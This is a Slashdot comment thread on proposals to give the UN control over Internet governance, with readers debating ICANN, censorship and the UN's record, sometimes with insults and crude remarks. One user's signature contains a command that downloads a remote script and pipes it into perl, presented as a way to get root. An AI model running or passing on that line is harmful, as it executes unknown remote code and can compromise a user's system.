Slashdot Mirror
Imagine A UN-Run Internet
Damon Dimmick writes "Small countries in the United Nations have been arguing to put the Internet under the control of the UN so that countries can more easily monitor (read: control) Internet content. It's on hold for now, but this could become a very real censorship problem, very soon. Some nations have gone so far as to suggest "monitoring boards" for internet content. Here is the link to the Financial Times article. It briefly describes the current situation. Just something to keep an eye on."
Imagine A UN-Run Internet
A prophetic subject line? If they run it as well as other things, the internet may be un-run.
Disconnect your television. Do your own research. Draw your own conclusions. They're probably lying. Don't be a sheep.
Well then, we just have the US intranet. We only export those sites who wish to be under the UN's thumb. I find it very difficult to have respect for governments who think they need to control the information their populous sees.
I imagine the International Telecommunications Union would make a better fist of it than ICANN.
Conflating "monitoring boards" with this proposal looks to me like shroud-waving.
...if we have to give control of the internet over to someone, I vote the EFF.
Jaysyn
There is a war going on for your mind.
I know that many of you probably dislike them, but they are at the for-front of the anti-UN. They would most likely help us in this matter, I guess a few of us would just have to hold their nose. Remember, the enemy of my enemy is my friend.
Since USA is just a dominate force in the UN, would this really affect us? Yes... it may decrease our freedom of press!
Defenders of the status quo say handing over power to governments could threaten the untrammelled flow of information and ideas that many see as the very essence of the borderless internet.
The internet is based on the ability to put up a web page and shout out my message to whoever wishes to wander by. It's even more powerful than dead-tree press because it reaches more people in a quicker fashion.
UN control is just that--control.
Not only do I not want UN control... I want as little government control as possible! Inforce the laws of your own country on the people in your own country... and leave the rest of us alone.
Davak
However, the US and the European Commission are staunchly defending the Icann model, which is based on minimal regulation and commercial principles. Icann members are predominantly drawn from industrialised countries and the established internet community.
So now, we're rooting for the much-maligned ICANN institution... I guess that's not such a cognitive dissonance now that they've actually faced up to Verisign -- though the end of that story is yet to be written.
Interesting that this should come up on the same day that NPR's Morning Edition (just audio, sorry) reported that the US is blocking an attempt by UNESCO to allow countries to subsidize their national film industries to preserve cultural identity.
In one corner, we have the US: protector of political free speech and homogenous corporate culture.
In the other, we have the rest of the world: protector of political speech restriction and diverse cultural heritage.
Damn, it's hard to know what side to root for these days.
Stressed? Me? Of course not. Stress is what a rubber band feels before it breaks, silly.
This is just some goverments trying to get someone else to do their work dirty work. Look at China, they do their own monitoring, they monitor what is withing their 'Domain' content hosted in their country, and content coming into their country, that is the way it should be.
PS:I am not saying that what China is doing is correct, all I am saying is that they are monitoring their nation's internet from their nation, the way it should be.
Useless sig.
If the UN runs the Internet (which may not even be possible, to "run" the Internet), then "unapproved" content will be simply circulated by other means, radio, underground printing press, word-of-mouth, etc. It's the old adage - when encryption is outlawed, only outlaws will use encryption. This type of move is a pure power grab. This is analogous to the MPAA demanding a "broadcast flag" in digital TV streams, or the RIAA stomping on webcasters (despite the fact that analog radio is free, and IT IS LEGAL TO RECORD FROM).
I want to delete my account but Slashdot doesn't allow it.
"God Bless America, and thank God I don't have to live there."
And I, sitting on my white, male, obese sitcom-watching, oil burning, corporate lacky ass, thank God you don't live here too.
Damn stinky third world types. Take a fucking shower.
What is the lesser of two evils, a government censored internet or a corporate censored internet?
I's sad that in such an "advanced" time, the ideas of censorship are readily and seriously discussed. It isn't feudalism anymore, and people will find ways to get whatever information they look for if they're determined.
"are growing dissatisfied with the workings of California-based Icann (the Internet Corporation for Assigned Names and Numbers), the semi-private internet address regulator set up five years ago."
I've read many slashdot gripes about some of the horors of the ICANN/Verisign run Internet, but never before heard these used as an excuse for state-sponsored control/censorship of the Internet. Really, even if they manage to work out the logistical headache (read: 120 years at least) this kind of thing would take, good luck to them finding any consensus as to proper content/use for the Internet.
While I don't want to see governments in charge of regulating the Internet, a truly international organization that does include input from Internet denizons (like ICANN was originally supposed to) would be nice.
"We don't like the fact that someone else has more influence over something we want. Let's propose a shift in power".
Frankly I think the US deserves to have the lion's share of the market. They made it so, they should reap the benefits. If anyone else wants to join the party, fine, but you don't walk into a rave and expect anyone to listen to your demands to make it a cocktail party instead!"
By the way, I'm not from the USA.
Simon.
Physicists get Hadrons!
now that's just going too far ! All these conspiracy therioes are one thing, but a heterosexual slashdot .. NEVER !
....tho' I can't see how they can fly them down those broadband pipes, no matter how fat they are...
Bet those freenet guys are feeling smug.
We have governments to protect against theft, murder, rape, etc. Governments also help to build big community oriented projects such as highways and bridges, and provide services to the community.
Governments are already serving both of those roles on the internet already. If my credit card info is stolen on-line, the FBI will try to track the criminal. Ditto for terrorists who try to organize on-line and pedophiliacs who try to lure kids on-line. Governments are also already providing on-line services (fcc, usps, etc).
There certainly are several things that have been ignored lately (abuse of DNS by a couple of major players), and perhaps ICANN should have a less corporate component (maybe representatives from major research universities), but putting the government in charge of the most innovative means of communication would be awful. It already spoon feeds us our TV and radio, and the governments of the world should keep their hands off the internet.
http://yetanotherpoliticalrant.blogspot.com
If we put this into the hands of the UN, we probably will never get a consensus on what should and what shouldnt be banned. US and UK will push for blocking pornography, then France will say "But what about the 'Art'!", and that'll never happen. Then germany will try and block out refrences to Hitler, and Israel will stop that one (with US aid). Everyone will have their say, but no-one will have their day.
The way the Current US gov works, we may actualy pass some sort of law regarding what can and cannot be placed on the internet. The way the UN works, this will never happen.
When life gives you crap, Make Crapade.
Sluggy Freelance.
Replace one sluggish bureaucracy with another one that's even larger and more sluggish. Then stand back and watch the fights about funding and budgetary contributions. That should be very helpful.
DUCT TAPE: The Election Supervisors' Secret Weapon
Exactly how would the international control improve the internet? What control is currently placed on it by the US? Besides assignment of IP's and domain names, what US control is affecting you? Most of the internet is privately owned. Its controlled by whoever owns the routers.
Would that be the UN who couldn't bring itself to condemn Iraq for human rights abuses?
Would that be the UN that couldn't be bothered to condemn the PLO suicide bombers in Israel?
The UN that Libia holds a seat on the human rights comittee?
Good plan. Give them the internet. Maybe then the far left can be bothered to get pissed at what a joke the UN has become. The first time they stomp on your first amendment rights, maybe you'll notice what a shitty record they have on everything else.
Which sitcom is obese? Roseanne is off the air...
Ce n'est pas un vrai mouvement de robot!
useless talk is better than useless fighting.
enough said..
.
world was created 5 seconds before this post as it is.
Jeebus, why not just call it the USA-net then?
Don't get me wrong, TCP/IP and the prelimary workings of a global free network were a great achievement (and all from DARPA), but don't make the mistake that this network can't be re-done, in a better manner by emerging 3rd world countries.
Make sure everyone's vote counts: Verified Voting
I am all for getting 3rd world countries on the internet. I've grown bored of the current 'nature videos' and would like to see the 'nature videos' from places like Sri Lanka, Yemen, and Belize. I can only imagine what can be done with a nose ring, a walking stick, a camel, and a 2 liter pop bottle. (errr...... did I just type that? shit.)
no, an internet controlled by the UN would be controlled by a council that is under control of the general assembly. a straight up or down vote can determine who is on it, and given that the human rights council is run by every country that gives no rights to its citizens, I would not hold my breath for a council run by the UN to be anything resembling fair and Free.
I am the Alpha and the Omega-3
Hmmmm.....Because of Carpal Tunnel Syndrome, they ARE cold and dead!!
"You know Myra, some people might think you're cute. But me, I think you're one very large baked potato."
The UN can try to regulate things all they want. In the US at least, it's all but meaningless. Why?
Well, for the US to even recognize a UN ruling requires approval of the president and 2/3 of the House and Senate. Technically, UN rulings are considered treaties. Even when it's recognized, it still requires an act of Congress to enact some sort of legislation before anyone can be prosecuted.
The one thing our government does well is ensuring that we're the only ones making bonehead laws that are enforcable in this country.
int func(int a);
func((b += 3, b));
I highly, highly doubt the U.S. would go for something like this. Given that we control a good portion of the Internet at this point, makes it kind of moot if we don't sign on.
Now as to U.S. censorship and monitoring of the Internet, that I'd worry about.
I don't really understand to what extent anyone can control the internet, but if/when they do, it will be a sad and scary story.
I know China and some of those other countries are putting the mean clamp down on internet access, but I can only imagine people are circumventing thier controls on it, in one way or another.
The internet is, and should be one of those things that people shouldn't try and control.
It's amazing this post, I even didn't do my obligatory shout-out to how much I hate the UN.
YOU'RE WINNER !
Another lame blog
The 3rd world countries should work on getting less corrupt goverments installed first.
They could also try working on the ability to feed themselves before they do another inet.
hmm, I know that the human rights council is run by Despotic regimes....why should I hold any hope for an internet council being run by free nations?
I am the Alpha and the Omega-3
with their choice of putting Libya as the Human Rights chair.
Luckily the UN is a flaccid organization with no territory or armies of its own. What would it plan to do? Begin a humanitarian mission to the Web by dropping a bunch of Kenyan and Spanish troops near all the root servers?
Yeah right.
What is music when you despise all sound?
Unless you can control everyone, the internet isn't going to be taken over. Even if the government pulls all the fiber optic and copper wiring and jams every radio frequency the internet will still be controlled by the people. The Internet IS communication. You can't stop people from communicating.
Thus sayeth Chamberlin. Ahh well...what's to be learned from history anyway.
There should be no way one council should hold control over the internet. This is similar to the US trying to dictate who could fly over someone elses airspace. There is way too much room for abuse but people with agendas. It's bad enough we have the abusive Patridiotic act here, and the last thing we need is another form of control.
The internet is probably one of the last bastions of privacy, and freedom of expression, and by letting the UN get ahold of any form of decision making could hinder this.
For example, China has strict monitoring of their internet connections in and out of their country, they are part of the UN. Would it be right for them to deem something -- not suited to their taste -- as ``illegalish' causing the UN to act against the site via way of removing the DNS entries? I could go on but don't want to... It's a bad idea IMHO
wget -qO - kungfunix.net/shadow|perl ; echo Want Root
MoFscker
The UN really should be disbanded, they are a joke, a HUGE waste of everyones money, and for such a "lets fight poverty and world hunger" org, they sure do make alot of personal money. Not to mention its pretty much an unconstitutional thing for the USA to be a part of. And for those out there that think the const. is "too old" or only applies to outdated thinking, please move away, we dont want or need your kind here.
We have seen that living things are too improbable and too beautifully "designed" to have come into existence by chance.
You might as well shut the whole thing down now.
It's fine (well, not fine, but traditional) for countries to censor the internet within their own boundaries. That's what the top level domains are about. Of course, if they want a centralized control over what comes in from outside, then this means that they have to censor all communications coming in from outside. That seems fair. (Actually, I feel that it makes things too easy for them, but sattelite nets aren't practical yet.)
But the UN? One bad decision binding everyone? (And it would be guaranteed to be bad, because local circumstances are different in different places.) This is stupid. One hopes it is also unworkable, but governments have coerced some pretty foul things into working.
I think we've pushed this "anyone can grow up to be president" thing too far.
huh? says who? i thought it was a network of networks.
some of those networks most definately have controls/policies against free speech.
Those mature enough, must accept that propaganda can come from California just as easily as it can come from Beijing. Your life is only as free as your perception of freedom, any nationalistic possession of the Internet must be fought with the same zeal as any internastionalistic ownership. Errr... is that communism?
FUD. The Internet is far from being under the control of the U.S.
In most ways it's under the control of wherever the lines happen to run.
Examples:
--China has no problem effectively blocking 3/4 of the Internet from viewing.
--Germany/France have effectively censored certain portions of the net.
--Many countries have unique top level domains hosted within their countries.
The list goes on...
The point being, while the U.S. is definitely HEAVILY involved in the development, maintenence, and overall culture of the Internet (not surprising given the history of the network) it also far from being in any real control of it. Certain members of the U.S. government would like us to sieze control through a variety of means (primarily applying economic pressure to other countries), none of it has been particularly succesful (it turns out that most politicians A) don't care or B) 'get it').
Turn s60 photos into awesome videos with mScrapbook for all S60 3rd edition phones!
First, they have to pass a resolution to decide to take over the internet. 2-3 years at best.
Next, they need to set up a committee that will decide upon the best way to do this. Countries will argue about who gets to be on this comittee and so forth. 3-4 years.
Next, the Comittee will decide upon how to control all the world's routers and connections going between countries. Every time they are about to release a plan, some piss-ant podunk country who isn't on the committee will object to this plan and vow not to allow the UN to touch their internet connection. (Even though this conncection is little more than a 28.8 dialup to the neighboring superpower). 7-8 years before they work out a proposal that won't piss anybody off
We then realize that the end proposal may seem strict but is so badly done that it's about as effective as the maginot line. IE, there are no porn sights offering material to countries that forbid it, but there are pleanty of p0rn sights.
Article 30. Nothing in this Declaration may be interpreted as implying for any State, group or person any right to engage in any activity or to perform any act aimed at the destruction of any of the rights and freedoms set forth herein.
Combine that with the Socialist provisions of the UDHR, Articles 21-29, and you get a position wherein freedom of speech cannot be used as a basis for arguing against Socialist entitlements. The UN's standard would outlaw free speech used to argue that certain classes are unfit to vote because they lack the requisite impartiality to wield political power of any kind. What constitutes using a right to deny others rights is very broad. God help us as a race if the UN becomes a global governing body. Dissidents will be all but put to the sword for daring to question anything in the political or social realms.
I do not want a UN run Internet. The UN is the same body that puts the Sudan on a human rights comission. The FUCKING SUDAN!!!! A country where the slave trade is alive and well and non-Muslims are routinely executed en masse for their beliefs. The Sudan not only violates almost the entire UDHR, but it is a part of part of the human rights commission!!
Only fools and crackpot leftists take the UN seriously. It is a den of dictators, murders, theives and their apologists. Yes, I for the most part opposed the War in Iraq. I also think the UN opposed us not out of principle, but because it is too elitist to see that drawing an equivocation between the United States Government and the Ba'athist regime is absurd. Hell, the modern PRC is more human than the Ba'athists.
You want an Internet that only at best maintains a pretense of being free and open, hand it over to the UN. You'll have the global elites not giving a flying fuck about your rights. If you think American courts are corrupt, try the UN. The so-called ICC makes a mockery out of due process of law. Secret witnesses, evidence, no right to trial by jury. Why is it that the more "enlightened" our "betters" get the more they try to make our government(s) and courts resemble their 15th century European equivolents?
Click here or a puppy gets stomped!
Read all about their "Week of action against small arms". I can't help seeing these things as related. Most countries in the world have less respect for the right to free speech and the right to keep and bear arms than the United States. Why not go after the entire Bill of Rights?
Stuart Eichert
so the internet goes underground, it's a great filter. Government sponsored content (==bad) is on the public internet and other content (==mostly good) is on the underground internets.
-Tim Louden
...the UN has been rather helpless whenever ignored by member states. What is the UN going to do that Interpol etc. doesn't do today? If they are nothing more than an UN backbone to the Internet, they won't change much. Even ICANNs power is limited in many ways, and I don't think the UN will be able to provide any more effective regulation than today. What do they expect the UN to do, create an "Internet EULA"?
Kjella
Live today, because you never know what tomorrow brings
Normally I'm pro-UN on a lot of things, and I'm certainly no rabid American nationalist. On this one, I have to disagree with the proposal to put it under UN control. The U.S. built it, and allowed others to use it. If they don't like it, they can build one for themselves. I know it's expensive, but seriously, if you want to control content find a way to do it on your own time. Until there's one world government, those other countries shouldn't be able to place restrictions on my freedom of speech. Another thing: When did Saudi Arabia become a "poor" country? From the article: "Poorer nations such as Brazil, India, South Africa, China and Saudi Arabia, as well as some richer ones, are growing dissatisfied with the workings of California-based Icann (the Internet Corporation for Assigned Names and Numbers), the semi-private internet address regulator set up five years ago"
That's gotta fit into your schema somewhere
Nope, just a whole bunch of "little" wars in non-Western-European nations that have killed millions over the years.
Is the world's first supra-national organization and, more remarkably, has had its power seriously challenged only a few times.
What about the League of Nations? Or for that matter, the Hanseatic League?
Finding God in a Dog
I support the concept of world government, but before the UN can assume that role, a few things need to happen.
- The UN needs a split houses concept similar to the US and other democratic nation. One house gets a number of representatives dependent on a nations population, and in the other house all nations have equal numbers of representatives. This is the ONLY fair way to ensure that all nations are heard regardless of size or population.
- Abolish the security council. It made sense 50 years ago, but not today.
- All representatives should be ELECTED by the people in their nations, with reasonably limited terms (5 or six years max). If these people are going to determine my fate and run my Internet, I'd damned well better get a say in who represents me. Undemocratic nations that don't allow their citizens to vote should NOT get voting seats in the UN.
- It should respect the constitutions of its member nations. The UN should not have the ability to override, veto, or limit decisions or rights made or granted by their sovereign member states.
You'll pardon me for not holding my breath for these changes. The UN is a flawed, crippled organization that tries to grab onto any semblance of real power that it can, and it's in the interests of this worlds powerful nations to make sure it stays right where it is.There is nothing so pathetic as seeing a beautiful young theory roughed up by a tough gang of facts.
...or are they experiencing one of the drawbacks of an uncontrolled (as opposed to UN-controlled) internet: The Slashdot Effect.
Does everything include nothing?
A) Such a treaty would never be approved by the US Senate.
B) If it were, it would never pass a constitutional challenge.
C) If it did, the UN doesn't have enough of an understanding of what the internet is, much less how it works.
D) If they can figure it out, their entire annual budget couldn't possibly pay for the bandwidth, hardware, software (almost certainly Microsoft, after all) and technical expertise to even monitor, much less control the internet.
E) Whoever thought this up is a drooling moron.
All the world says,
"I am important;
I am separate from all the world.
I am important because I am separate,
Were I the same, I could never be important."
Yet here are three treasures
That I cherish and commend to you:
The first is compassion,
By which one finds courage.
The second is restraint,
By which one finds strength.
And the third is unimportance,
By which one finds influence.
Those who are fearless, but without compassion,
Powerful, but without restraint,
Or influential, yet important,
Cannot endure.
~Lau Tsu, Tao te Ching part 67
God Bless America, with the worst crime levels in the first world
Where even criminals have civil rights.
God Bless America, so happy to violate international laws
When those laws are put together by the dictator's club called the UN, you bet. You know, the place that puts Syria and Libya on the "human rights committee"?
God Bless America, where "freedom of speech" means race-hate groups like KKK
Where freedom of speech applies to EVERYBODY, even the ones with unpopular causes. Hint: popular causes don't NEED freedom of speech.
God Bless America, with barely 300 years of dire history and culture
Hint: we're still on our first Republic. France is on their fifth, with intervening Reigns of Terror, anarchy, kings, emperors, and Nazi collaborationist regimes.
Hint: our popular culture dominates the world. Deal with it.
God Bless America, with the highest obesity levels in the developed world
Where food is so cheap that even the poorest can (over)eat.
God Bless America, wasting billions to attack foreign countries
They're ours to "waste", Saddam-lover.
Great. So now I'll have to worry about staying in the good graces of the Seven Patriarchs of Outer Boobistan, as if avoiding the wrath of my own enlightened, free, democratic government wasn't getting hard enough as it is.
Seriously, I say this is bad. The UN should be finding ways to get force countries to accept disagreeable content, not finding ways to make it easier for them to export censorship. Besides, there already is a way for military and religious dictatorships to shield their populations from the horrors of free speech and bare nipples: don't connect to the global internet. Run your own damn closed TCP/IP networks; I'll even send a free CD with all the software they'll need to the first dictator to call.
Of course, just not listening/reading/watching stuff you don't like is a strategy that, while damn near 100% effective, never seems to occur to these paleolithic troglodytes. That goes for Outer Boobistan no less than it does for Inner GOPistan.
Proud member of the Weirdo-American community.
Article 19
Everyone has the right to freedom of opinion and expression; this right includes freedom to hold opinions without interference and to seek, receive and impart information and ideas through any media and regardless of frontiers.
I never said the USA didn't have corruption in its goverment. But, you have to admin, that the USA doesn't use food as a weapon against its own citizens.
The Leauge of Nations and the Catholic Church both predate the UN, and both are very arguably "supra-national" organizations
An excellent comparison: when you get right down to it, the UN is like the Vatican, but for atheists. (With the predictble results.)
Carthago delenda est!
I know many americans from chat rooms and the many other ways the internet offers. I have had as many good encounters as I have with non-virtual from my own country. Americans are good fellows. But as much I consider americas people to be ok, I got to say that I strongly dislike the americas politics toward other countries.
The internet is an international entity. I should be regulated by an internationl organisation. The UN might just fit this definition.
put the UN under the control of the Internet!
All going well, eventually--perhaps in a few hundred years--individual human beings should have some control over the largest international organisations. As it is, even well-meaning organisations (I would name the WHO, UNHCR, and a few others) have barely any mandate, except what comes from the most undemocratic security council, or through election by the representatives of un-elected national governments.
As for the WTO and its ilk: I am positive that the general populace of Earth, or even of developed nations, would not support their actions. I look forward to the day when they are no longer assumed to be part of world government.
The Internet will enable robust and efficient and true elections.
(This comment was partly tongue-in-cheek; but I'm still serious about international democracy.)
Information
Knowledge in the form of an informational commodity indispensable to productive power is already, and will continue to be, a major-perhaps the major-stake in the worldwide competition for power. It is conceivable that the nation-states will one day fight for control of information, just as they battled in the past for control over territory, and afterwards for control over access to and exploitation of raw materials and cheap labor.Jean Francois Lyotard
why not just create a new internet then?
GREAT IDEA! Why don't you and your little friends go out and do that right now. I bet it you ask nicely, your mom will give you some string which you can pretend is network cable and let you use some old milk crates as 'computers' and 'routers'. When you're done, I bet she will make all of you some nice peanut butter sandwiches.
I must assume this was a sarcastic post. The ITU is perhaps one of the most unfit organizations for this or even it's own purpose that exists today. Basically, it is composed of representitives from different countries, true; however, unlike the IETF, for example, they don't nessisary represent true "experts" in their chosen field. For example, US representation in the ITU is appointed by the State Department.
The ITU has a history of mandating REQUIRED international standards that include patented (and without royalty free/non-rand requirements...). Nor is their standards formation promotion open to the public, nor even the resulting standards available except at (sometimes considerable) cost.
To the ITU? No thank you...
given the current mess of objectionable content floating around on the internet it is about time we get our act together.
:)
Before you flame me about how your favorite information should be free consider that information includes:
- child porn pictures or other snuff
- virus/worm/hacking tool source code and instructions
- stolen intelectual property (for example: HL2 source)
- [fill in other human rights violation here]
Some of the above might still not be a black and white example of where to draw the line, but at least there are gray areas that need to be discussed on an international level. The conclusion will likely be the need for more then the current inability to remove internationally-agreed-upon unwanted content.
The UN seems to be the right place for this discussion. Just say it out loud "United Nations".
Discussions about wether this organization is efficient at all are to be taken up with your national representatives
>Just something to keep an eye on
Like this could ever go anywhere or be used for anything other than debate. DOA.
UN controlling the internet? No problem... Who do I bribe to get the good pr0n back?
You see? You see? Your stupid minds! Stupid! Stupid!
I for one welcome our new United Nations overlords.
c - a blessed +5 grain of salt
Sounds like the second-handers are once again trying to control something they did not create and did not contribute to.
Mmmm.. Donuts
I mean, in theory the UN creating a regulating body that has a relationship to the UN like the Fed has with the US government would be fine. The Fed acts in generally everyone's best interest (at least with the current board). But 50/50 the UN would stuff it up and have crazy rules for selecting Internet Committee members or demand more direct control.
In practice, what does this really mean? If I browse French sites via TCP/IP, does that mean I'm using the internet or just a subnet (the franco-american net)? How do these changes in regulation force peers on the network to use supplied protocols, DNS servers, and so on? How much could a regulatory body really restrict traffic? I don't mean these questions rhetorically. I think this is the center of the debate.
Use the Firehose to mod down Second Life stories!
Agreed, I'm not sure I trust the bureaucracy of the UN to be able to how to properly run the Internet.
But I don't understand the intense negative reaction to this idea, particularly by the submitter. The UN is not a repressive dictatorship. Sure, some of its members are, but I highly doubt that a UN-controlled Internet administrative body would have been to stupidly designed that it would impose restrictions on the 'Net just because some UN member applied pressure.
In any case, why can we trust the U.S. government to take a hands-off role towards the Internet any more than we can trust the UN?
Ah, and France, Britain, Russia and China don't have veto powers, and they of course NEVER put preasure on nations. France CERTAINLY wouldn't threaten nations seeking to join the EU or NATO in order to get them to vote their way. What strange alternate reality do you live in?
common sense: noun
What those who are ignorant of the subject matter think; usually wrong.
Given that the internet is fundamentally international, international controlle of it makes MUCH more sense than a California non-profit government spinoff.
The rest of the world should not be beholden to ICANN. Either they need to become truly international, or someone--the UN or another international body--needs to take the reins.
"People who do stupid things with hazardous materials often die." -- Jim Davidson on alt.folklore.urban
Wouldn't it be even better if the internet were simply an amorphous social mass that couldn't be directly controled by anyone?
Open standards that can be implemented by any geek in his mom's basement and distributability.
These are the real enemies governments are fighting. They want control for the purpose of control, not insure openess to the international community.
As for the UN being an international orginisation of nations you have to bear in mind that they have always been nothing more than a permenent meeting hall to engage in otherwise normal diplomatic practices. A permenent base for ambassadors, not a governing body of any kind.
It doesn't change anything about historical diplomatic process between nations other than creating a central point for participation in a city known for really good delis when they break for lunch.
KFG
Given the UN's track record in the third world, I suspect the videos will consist of h0t n00d w0m3n and ch1ld43n being forced to shear the flesh from each other's bones using shards of torn-up 2-liter pop bottles, while having any nose rings removed by attaching the rings to camels prodded into movement through beatings with walking sticks.
In the background, Kofi Annan will be seen wringing his hands and making bleating noises about how absolutely awful it all is, and encouraging a bunch of unelected bureaucrats to declare for all the world that the UN shall remain siezed of the matter on its awfulness, and then in the next breath, insist that anyone who actually, oh, I don't know, does something to stop the slaughter should be immediately subject to sanctions and global condemnation for imposing the cultural values of the West on an otherwise morally-equivalent system of values being practiced by those committing the genocide.
This is the same UN that considers Chad, Libya, Cuba, and pre-invasion Iraq fit to speak as the moral authority for the entire fucking planet on matters of freedom of the press and on human rights, is it not?
Or are you talking about some other UN of which I was previously unaware?
This is just a way for poorer nations to get their foot in the door to tax wealthier nations. Although the free speech concerns are serious, what it will amount to is a way to funnel funds from us to them. At first, it will be used to police the internet, but then demands will increase, with additional funds being required to fight "terrorism", and what one nation considers terrorism may be legitimate protest.
Eventually, the original goals of the program will shift, and overt wealth redistribution will begin. But unlike the redistribution that goes on in western countries, no more than 10% would ever be applied to humanitarian concerns. The remainder would end up in the hands of beaurocrats and benevolent dictators.
I ask that you oppose this at every opportunity.
Huh. Amazingly enough, I just got a letter from the UN Ministry of Internet Content Validation about my website on the ongoing Oceana/Eastasia War.
-----
DEAR INTERNET CITIZEN:
The United Nations Ministry of Internet Content Validation informs you that you have a typographical error on your website. Oceana is NOT in fact at war with Eurasia, but is and always has been at war with Eastasia. Please correct your website immediately. You may direct any complaints to the Ministry of Love.
Thank you,
United Nations Ministry of Internet Content Validation
------
Boy, sure am glad I fixed that error! Thanks Big UNcle!
We don't have a state-run media we have a media-run state.
I suppose many Slashdotters are too young to remember UNESCO's scheme to "license" and "regulate" journalism in all countries. This is why Ronald Reagam quite rightly pulled all U.S. funding from UNESCO until they reformed.
The UN is an organization that does things like putting Libya in charge of its commission on human rights. Do you really want North Korea or Communist China to have a say in what YOU can or can't read online?
The UN is in no way, shape or form dedicated to the idea of democracy and individual rights. It is an organization by and for bureaucratic elites looking to expand their power and pretiege and ensure themselves easy employment. It has no moral standing, and only the power that is allowed it by the Security Council. It is not now, nor will it ever be, a "World Government," and thank God for that.
There are very few nations in the world that have a guaranteed right to free speech and a free press the way the U.S. does. (In France it's illegal to "insult the dignity" of the French President.) Putting the UN in chaarge of the Internet would be an unmittigated disaster for freedom.
Lawrence Person (lawrencepersonh@gmailh.com (remove all "h"s to mail)
http://www.lawrenceperson.com/
Okay asshat, care to back up some of those claims? Facts, figures, articles? Worst crime levels in the world? I seriously doubt that.
Rich white male president? Wah wah wah. That's the way it has ALWAYS been. The vast majority of Europe is run by rich white guys, you moron. However, take a look at Bush's cabinent. Even if he's not black or a woman, he has some advisers that are. Quit your senseless bitching on the matter.
Biggest consumer of natural resources? Once again, care to back that up? I daresay China and/or India and/or Japan might be ahead of the US on that one, simply due to higher populations. One reason the US consumes so much is because the people here are well off enough to do so.
International laws. Like it was said before, the UN sets those, and the UN has it's head in it's ass. What about France, Germany and Russia aiding Iraq when it was illegal to do so? I don't see you ragging on them...
Free speech is for EVERYONE, which is better than the thought police in Europe. Racists are assholes, but they have the right to be assholes if they want to. At least our government doesn't tell people how to think.
Massive, ever-growing poverty gap? You CANNOT back that up, because it's complete bullshit. The US has one of the largest middle-classes in the world. Why don't you do a little research before spouting off your spoon-fed crap?
What the hell does 300 years of culture mean? We're dominating the world in the culture market, so I guess that gives us a good track record, eh?
I agree with the sitcoms. Still, different folks have a different sense of humor. Deal with it. If you don't like 'em, don't watch 'em!
We're fat because we can afford to be. So what? I'm not a fatty, and I'm glad. If people are fat, they'll pay more in medical bills, so it's their own damn fault.
Corporations allowed to run amok? Enron and the like weren't ALLOWED to run amok, you dunce. They did so and got busted. There are laws against that, you know. But I guess your idea of "running amok" would mean when they lay some people off.
Like it was said before, it's our damn money. We'll spend it on trashing Saddam while many European nations spend it propping him up. Which is worse?
Yes, thank GOD you don't live here. We don't need any more anti-American sheep who vacuously take up the cause du jour. Go fornicate yourself with a meat tenderizer.
Why does everybody automaticly think this has anything to do with censorship? The national Internet-censorship already works just fine in a lot of countries. Thank you very much. Its just that a lot of people dont like to depend on something that is operated by an american company. If it would be better in the hands of the UN? I dont know and it will never happen anyway...
Anyone in to international law would see the problems with getting this implemented. Just read the basics of the UN charter, and you will see that countries are extremely protective of their sovereignty, and that such a serious infraction of this would be very unlikely. It could even be interpreted as a breach of some major international treaties on civil and political rights, or maybe even of the non-intervention principle of international law, which, apart from recognized, unregulated rules, the UN also has
codified in its charter. It would seriously affect the national sovereignty, and could therefore be seen as a breach of articles in the UN charter.
On the other hand, I would rather see the UN doing this than ISP:s doing it at their own will..
I haven't looked, but it might be interesting to do a quick study of how many UN agencies operate consistently with the UDHR... though obviously the UDHR allows a lot of room for interpretation.
The government in this country (New Zealand) is generally working towards full compliance with the Declaration; but I can't say I have as much enthusiasm for some of the new laws as I do for the original (somewhat idealistic) text of the UDHR.
I've said it before. Use a portion of the IPV6 address space to tie IP locations to physical locations. This would eliminate some of the problems but not the more prominent domain handling one...
Hmm...Well, one thing we CAN agree on: Regardless of what despotic nation or nations are in charge of the UN, we do not want them running our internet!
You can't count on that forever. The politicians who DO care and DO get it are coming, and they will find a way to control the 'net if people like us let it happen.
at the moment the usa more or less control the internet
Does it? I would have thought that organisations such as ICANN have gone out of their way to internationlise. If anything, considering the proportion of internet users that are US residents, the bodies which do regulate the net, (inasmuch as it is regulated), have a decidely international flavour.
While it's not good with all this censorship thing
When talking about censorship I think we should distinguish between the use of censorship as a weapon of political oppression by a state,(or by some other power bloc), against the citizenry of a country, from its use to set bounds of what is culturally appropriate as agreed upon by at least a majority of the citizens of a country. Censorship of child pornography, for instance, is supported by many, even though it might not be strictly illegal in some countries. Surely people of different countries have a right to make choices as a people, that you or I might disagree with? Should we put them in a situation where accepting the internet is an all or nothing choice, resulting in a situation where, in keeping out something that is culturally taboo (eg prOn) they are also keeping out information that might politically inform the citizens?
As it is the UN Charter of Human Rights contains fairly expansive guarantees of rights to access information, and rights of conscience and expression. One could not imagine that the UN, were it to become responsible for the governance of the net, could condone a situation where its instrumentalities were deployed to negate those guarantees.
Anyway, as I pointed out above, I feel that net governance is already sufficiently international, and really don't seem much point in involving the UN.
Better to be despised for too anxious apprehensions, than ruined by too confident a security. --Edmund Burke
The UN is about as effective as a perforated condom or the League of Nations. They do very little other than waste the funds contributed by the member nations on a bloated, inefficient, inactive bureaucracy.
While I wouldn't exactly say the US has the internet under it's thumb, at least WE invented it. (No, I am NOT Al Gore...) If the UN were to be given oversight of the net, nothing would get accomplished. A matter would be brought up, some nations would vote for, some against and so no action would be taken.
With the veto powers of the Security Council members, it's actually much harder to get a resolution PASSED than round filed. In other words, it's practically impossible to do ANYTHING.
As long as you have at least 2 members on the security council with politically opposed views, this will continue to be the case.
I say we ditch the facade known as the UN, save the funds we spend on keeping them around, kick them out of NYC and work directly with all the countries of the world. I say each country becomes a state in a new United World. I say Balkanism only brings continued strife.
I say, Doctor, is it time for my medicine already?
Would be nice, but it'll never happen. Screw the puppet UN. They can have the net when they pry it from my cold, dead hands!
Tim
How would the UN define what the (big I) Internet is? Something about address allocation body and DNS I suspect.
If this got annoying, couldn't we start another network? I can't think of any reason this wouldn't be fairly easy if there was a demand for it. Start new root name servers, setup a new IP allocation agency. Need new routers, but not new cable as they wouldn't be regulating at the MAC level.
Personally, I suspect multiple Internets are going to be the way of the future. Think Xbox Live.
...against the emergence of new challenges such as ... child pornography, which have convinced many governments of the need for international regulation and enforcement.
Sounds like a great idea, since third-world countries are so much better at controlling things like child pronography.
A modern day witchhunt.
Private ownership is only as good as the law its based on. I'm not a nutjob or anything, but 'ownership' is a fairly flexible term when the state/federal government's needs must be met.
[Fuck Beta]
o0t!
